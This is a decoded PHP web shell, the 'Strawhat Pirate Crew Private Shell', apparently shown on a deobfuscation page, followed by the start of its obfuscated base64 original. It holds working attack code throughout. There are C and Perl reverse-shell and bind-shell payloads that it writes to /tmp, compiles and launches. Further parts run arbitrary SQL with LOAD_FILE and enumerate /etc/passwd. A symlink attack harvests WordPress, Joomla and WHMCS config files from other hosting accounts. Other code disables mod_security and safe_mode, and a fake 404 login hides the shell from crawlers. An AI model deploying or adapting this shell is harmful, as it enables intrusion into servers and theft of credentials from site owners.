$db->query(@$_POST[\'p3\']);
if($db->res !== false) {
$title = false;
echo \'<table width=100% cellspacing=0 cellpadding=2 class=main>\';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo \'<tr>\';
foreach($item as $key => $value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line = 2;
}
echo \'<tr class="l\'.$line.\'">\';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
} else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br><textarea name=\'p3\' style=\'width:100%;height:100px\'>".@htmlspecialchars($_POST[\'p3\'])."</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/><form onsubmit=\'document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
if(@$_POST[\'p1\'] == \'loadfile\') {
$db->query("SELECT LOAD_FILE(\'".addslashes($_POST[\'p2\'])."\') as file");
$file = $db->fetch();
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
}
echo \'</div>\';
printFooter();
}
function actionNetwork() {
printHeader();
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo \'<h1>Network tools</h1><div class=content>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
<br /><span>Bind port to /bin/sh</span><br/>
Port: <input type=\'text\' name=\'port\' value=\'443\'> Password: <input type=\'text\' name=\'pass\' value=\'Str4what\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
</form>
<form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
<br /><br /><span>Back-connect to</span><br/>
Server: <input type=\'text\' name=\'server\' value="\'.$_SERVER[\'REMOTE_ADDR\'].\'"> Port: <input type=\'text\' name=\'port\' value=\'443\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
</form><br>\';
if(isset($_POST[\'p1\'])) {
function cf($f,$t) {
$w=@fopen($f,"w") or @function_exists(\'file_put_contents\');
if($w) {
@fwrite($w,base64_decode($t)) or @fputs($w,base64_decode($t)) or @file_put_contents($f,base64_decode($t));
@fclose($w);
}
}
if($_POST[\'p1\'] == \'bpc\') {
cf("/tmp/bp.c",$bind_port_c);
$out = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$out .= ex("/tmp/bp ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp")."</pre>";
}
if($_POST[\'p1\'] == \'bpp\') {
cf("/tmp/bp.pl",$bind_port_p);
$out = ex(which("perl")." /tmp/bp.pl ".$_POST[\'p2\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bp.pl")."</pre>";
}
if($_POST[\'p1\'] == \'bcc\') {
cf("/tmp/bc.c",$back_connect_c);
$out = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$out .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc")."</pre>";
}
if($_POST[\'p1\'] == \'bcp\') {
cf("/tmp/bc.pl",$back_connect_p);
$out = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");
echo "<pre class=ml1>$out
".ex("ps aux | grep bc.pl")."</pre>";
}
}
echo \'</div>\';
printFooter();
}
function actionPortScanner() {
printHeader();
echo \'<h1>Port Scanner</h1>\';
echo \'<div class="content">\';
echo \'<form action="" method="post">\';
if(isset($_POST[\'host\']) && is_numeric($_POST[\'end\']) && is_numeric($_POST[\'start\'])){
$start = strip_tags($_POST[\'start\']);
$end = strip_tags($_POST[\'end\']);
$host = strip_tags($_POST[\'host\']);
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo \'Port \'.$i.\' is <font color=green>open</font><br>\';
}
flush();
}
} else {
echo \'<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
<input type="hidden" name="c" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type="hidden" name="charset" value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
Host: <input type="text" name="host" value="localhost"/><br /><br />
Port start: <input type="text" name="start" value="0"/><br /><br />
Port end:<input type="text" name="end" value="5000"/><br /><br />
<input type="submit" value="Scan Ports" />
</form></center><br /><br />\';
}
echo \'</div>\';
printFooter();
}
function actionReadable() {
printHeader();
echo \'<h1>Readable Dirs</h1>\';
echo \'<div class="content">\';
$sm = ini_get(\'safe_mode\');
if($sm) {
echo \'<br /><b>Error: safe_mode = on</b><br /><br />\';
} else {
@$passwd = fopen(\'/etc/passwd\',\'r\');
if (!$passwd) {
echo \'<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />\';
} else {
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd)) {
$str = fgets($passwd);
if ($i > 35) {
$pos = strpos($str,\':\');
$username = substr($str,0,$pos);
$dirz = \'/home/\'.$username.\'/public_html/\';
if (($username != \'\')) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo \'<br><br>\';
echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br />";
echo "[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /><br /><br />";
foreach ($users as $user) {
$path = "/home/$user/public_html/";
echo $path."<br>";
}
echo "<br /><br /><br />[+] Complete...
"."<br />";
}
}
echo \'</div>\';
printFooter();
}
function actionSymlink() {
printHeader();
echo \'<h1>Symlink</h1>\';
$furl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];
$expld = explode(\'/\',$furl );
$burl =str_replace(end($expld),\'\',$furl);
echo \'<div class="content"><center>
<h3>[ <a href="#" onclick="g(\'symlink\',null,\'website\',null)">Domains</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'whole\',null)">Whole Server Symlink</a> ] -
[ <a href="#" onclick="g(\'symlink\',null,\'config\',null)">Config files symlink</a> ]</h3></center>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'website\')
{
echo "<center>";
$d0mains = @file("/etc/named.conf");
if(!$d0mains){
echo "<pre class=ml1 style=\'margin-top:5px\'>Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=center class=\'main\' border=0 ><tr><th> Count </th><th> Domains </th><th> Users </th></tr>";
$unk = array();
foreach($d0mains as $d0main){
if(@eregi("zone",$d0main)){
preg_match_all(\'#zone "(.*)"#\', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
$unk[] = $domains[1][0];
flush();
}
}
}
$count=1;
$unk = array_unique($unk);
$l=0;
foreach($unk as $d){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$d));
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count."</td><td><a href=http://".$d."/>".$d."</a></td><td>".$user[\'name\']."</td></tr>";
flush();
$count++;
$l=$l?0:1;
}
echo "</table>";
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'whole\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp =@fopen (\'sym/.htaccess\',\'w\');
fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\'><tr><th> Count </th><th> Domains </th><th> User </th><th> Symlink </th></tr>";
$count=1;
$mck = array();
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0])) >2){
$mck[] = $domain[1][0];
}
}
}
$mck = array_unique($mck);
$l=0;
foreach($mck as $d) {
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$d));
$ddt = $user[\'name\'];
//@symlink(\'/\',\'sym/root\');
$ddt = $d;
if(@eregi("\.ir",$d) or @eregi("\.il",$d)) {
$ddt = "<div style=\' color: #FF0000 ; text-shadow: 0px 0px 1px red; \'>".$d.\'</div>\';
}
echo "<tr".($l?\' class=l1\':\'\')."><td>".$count++."</td><td><a target=\'_blank\' href=http://".$d.\'/>\'.$ddt.\' </a></td><td>\'.$user[\'name\']."</td><td><a href=\'sym/root/home/".$user[\'name\']."/public_html\' target=\'_blank\'>symlink </a></td></tr>";
flush();
$l=$l?0:1;
}
echo \'</table>\';
}
echo "</center>";
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'config\')
{
echo "<center>";
@mkdir(\'sym\',0777);
$hdt = "Options all
DirectoryIndex Sux.html
AddType text/plain .php
AddHandler server-parsed .php
AddType text/plain .html
AddHandler txt .html
Require None
Satisfy Any";
$hfp = @fopen (\'sym/.htaccess\',\'w\');
@fwrite($hfp ,$hdt);
if(function_exists(\'symlink\')) {
@symlink(\'/\',\'sym/root\');
}
$d0mains = @file(\'/etc/named.conf\');
if(!$d0mains) {
echo "<pre class=ml1 style=\'margin-top:5px\'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<table align=\'center\' width=\'40%\' class=\'main\' ><tr><th> Count </th><th> Domains </th><th> Script </th></tr>";
$count = 1;
$l=0;
foreach($d0mains as $d0main){
if(@eregi(\'zone\',$d0main)){
preg_match_all(\'#zone "(.*)"#\',$d0main,$domain);
flush();
if(strlen(trim($domain[1][0]))>2){
$user = posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain[1][0]));
$c1 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/wp-config.php\';
$ch01 = get_headers($c1);
$cf01 = $ch01[0];
$c2 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/blog/wp-config.php\';
$ch02 = get_headers($c2);
$cf02 = $ch02[0];
$c3 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/configuration.php\';
$ch03 = get_headers($c3);
$cf03 = $ch03[0];
$c4 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/joomla/configuration.php\';
$ch04 = get_headers($c4);
$cf04 = $ch04[0];
$c5 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/config.php\';
$ch05 = get_headers($c5);
$cf05 = $ch05[0];
$c6 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/vb/includes/config.php\';
$ch06 = get_headers($c6);
$cf06 = $ch06[0];
$c7 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/forum/includes/config.php\';
$ch07 = get_headers($c7);
$cf07 = $ch07[0];
$c8 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'public_html/clients/configuration.php\';
$ch08 = get_headers($c8);
$cf08 = $ch08[0];
$c9 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/support/configuration.php\';
$ch09 = get_headers($c9);
$cf09 = $ch09[0];
$c10 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch10 = get_headers($c10);
$cf10 = $ch10[0];
$c11 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/submitticket.php\';
$ch11 = get_headers($c11);
$cf11 = $ch11[0];
$c12 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/client/configuration.php\';
$ch12 = get_headers($c12);
$cf12 = $ch12[0];
$c13 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/includes/configure.php\';
$ch13 = get_headers($c13);
$cf13 = $ch13[0];
$c14 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/include/app_config.php\';
$ch14 = get_headers($c14);
$cf14 = $ch14[0];
$c15 = $burl.\'/sym/root/home/\'.$user[\'name\'].\'/public_html/sites/default/settings.php\';
$ch15 = get_headers($c15);
$cf15 = $ch15[0];
$out = \' \';
if(strpos($cf01,\'200\') == true) { $out = "<a href=\'".$c1."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf02,\'200\') == true) { $out = "<a href=\'".$c2."\' target=\'_blank\'>Wordpress</a>"; }
elseif(strpos($cf03,\'200\') == true && strpos($cf11,\'200\') == true) { $out = " <a href=\'".$c11."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf09,\'200\') == true) { $out = " <a href=\'".$c9."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf10,\'200\') == true) { $out = " <a href=\'".$c10."\' target=\'_blank\'>WHMCS</a>"; }
elseif(strpos($cf03,\'200\') == true) { $out = " <a href=\'".$c3."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf04,\'200\') == true) { $out = " <a href=\'".$c4."\' target=\'_blank\'>Joomla</a>"; }
elseif(strpos($cf05,\'200\') == true) { $out = " <a href=\'".$c5."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf06,\'200\') == true) { $out = " <a href=\'".$c6."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf07,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>vBulletin</a>"; }
elseif(strpos($cf08,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>"; }
elseif(strpos($cf12,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Client Area</a>"; }
elseif(strpos($cf13,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>osCommerce/Zen Cart</a>"; }
elseif(strpos($cf14,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Magento</a>"; }
elseif(strpos($cf15,\'200\') == true) { $out = " <a href=\'".$c7."\' target=\'_blank\'>Drupal</a>"; }
else {
continue;
}
echo \'<tr\'.($l?\' class=l1\':\'\').\'><td>\'.$count++.\'</td><td><a href=http://www.\'.$domain[1][0].\'/>\'.$domain[1][0].\'</a></td><td>\'.$user[\'name\'].\'</td><td>\'.$out.\'</td></tr>\';
flush();
$l=$l?0:1;
}
}
}
echo "</table>";
}
echo "</center>";
}
echo "</div>";
printFooter();
}
function actionBypass() {
printHeader();
echo \'<h1>Safe Mode</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS[\'cwd\']." |<br><br />";
echo \'<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>\';
if(!empty($_POST[\'p2\']) && isset($_POST[\'p2\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>\');
fclose($fil);
}
if(!empty($_POST[\'p1\'])&& isset($_POST[\'p1\']))
{
$fil=fopen($GLOBALS[\'cwd\']."php.ini","w");
fwrite($fil,\'safe_mode=OFF
disable_functions=NONE\');
fclose($fil);
}
if(!empty($_POST[\'p3\']) && isset($_POST[\'p3\']))
{
$fil=fopen($GLOBALS[\'cwd\'].".htaccess","w");
fwrite($fil,\'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .sh
AddHandler cgi-script .pl
AddHandler cgi-script .pl\');
fclose($fil);
}
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionDdos(){
printHeader();
echo \'<h1>DDoS</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionMail(){
printHeader();
echo \'<h1>Mass Mailer and Mail Bomber</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
function actionInjector(){
printHeader();
echo \'<h1>Mass Code Injector</h1>\';
echo \'<div class="content">\';
echo "<div class=header><center><h3><span>Premium Features!!!</span></h3>Will come in next version.<br><br />";
echo "<br><br /><br /></div>";
echo \'</div>\';
printFooter();
}
if( empty($_POST[\'a\']) )
if(isset($default_action) && function_exists(\'action\' . $default_action))
$_POST[\'a\'] = $default_action;
else
$_POST[\'a\'] = \'SecInfo\';
if( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )
call_user_func(\'action\' . $_POST[\'a\']);
?>'
Did this file decode correctly?
Original Code
<?php
/* ("Strawhat Pirate Crew Private Shell 2.1") */
/* ("Modified by ~N61tap") */
$auth_pass = "f3aa11330725555572080932df1e854e";
eval("?>".base64_decode("PD9waHANCg0KDQokY29sb3IgPSAiI0ZFQ0QwMSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KQGRlZmluZSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsNCiAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICBleGl0Ow0KfQ0KQHNlc3Npb25fc3RhcnQoKTsNCkBlcnJvcl9yZXBvcnRpbmcoMCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBzZXRfdGltZV9saW1pdCgwKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQpAZGVmaW5lKCdWRVJTSU9OJywgJ1ZlciAzLjAnKTsNCmlmKCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpICkgew0KICAgIGZ1bmN0aW9uIHN0cmlwc2xhc2hlc19hcnJheSgkYXJyYXkpIHsNCiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCiAgICB9DQogICAgJF9QT1NUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfUE9TVCk7DQp9DQpmdW5jdGlvbiBwcmludExvZ2luKCkgew0KICAgIGVjaG8gJzxoMT5Ob3QgRm91bmQ8L2gxPg0KICAgICAgICAgIDxwPlRoZSByZXF1ZXN0ZWQgVVJMIHdhcyBub3QgZm91bmQgb24gdGhpcyBzZXJ2ZXIuPC9wPg0KICAgICAgICAgIDxocj4NCiAgICAgICAgICA8YWRkcmVzcz5BcGFjaGUgU2VydmVyIGF0ICcuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLicgUG9ydCA4MDwvYWRkcmVzcz4NCiAgICAgICAgICA8c3R5bGU+aW5wdXQgeyBtYXJnaW46MDtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7Ym9yZGVyOjFweCBzb2xpZCAjZmZmOyB9PC9zdHlsZT4NCiAgICAgICAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48L2Zvcm0+PC9jZW50ZXI+JzsNCiAgICBleGl0Ow0KfQ0KaWYoICFpc3NldCggJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSApKQ0KICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8DQogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddICkgJiYgKCBtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MgKSApICkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7DQogICAgZWxzZQ0KICAgICAgICBwcmludExvZ2luKCk7DQoNCmlmKCBzdHJ0b2xvd2VyKCBzdWJzdHIoUEhQX09TLDAsMykgKSA9PSAid2luIiApDQogICAgJG9zID0gJ3dpbic7DQplbHNlDQogICAgJG9zID0gJ25peCc7DQokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZiggaXNzZXQoICRfUE9TVFsnYyddICkgKQ0KICAgIEBjaGRpcigkX1BPU1RbJ2MnXSk7DQokY3dkID0gQGdldGN3ZCgpOw0KaWYoICRvcyA9PSAnd2luJykgew0KICAgICRob21lX2N3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGhvbWVfY3dkKTsNCiAgICAkY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3dkKTsNCn0NCmlmKCAkY3dkW3N0cmxlbigkY3dkKS0xXSAhPSAnLycgKQ0KICAgICRjd2QgLj0gJy8nOw0KICAgIA0KaWYoJG9zID09ICd3aW4nKSB7DQogICAgJGFsaWFzZXMgPSBhcnJheSgNCiAgICAgICAgIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwNCiAgICAgICAgIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsDQogICAgICAgICJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiAqY29uZmlnKi5waHAiLA0KICAgICAgICAiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsDQogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLA0KICAgICAgICAiVXNlciBhY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwNCiAgICAgICAgIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLA0KICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwNCiAgICAgICAgIklQIENvbmZpZ3VyYXRpb24iID0+ICJpcGNvbmZpZyAvYWxsIg0KICAgICk7DQp9IGVsc2Ugew0KICAgICRhbGlhc2VzID0gYXJyYXkoDQogICAgICAgICAgIkxpc3QgZGlyIiA9PiAibHMgLWxhIiwNCiAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dG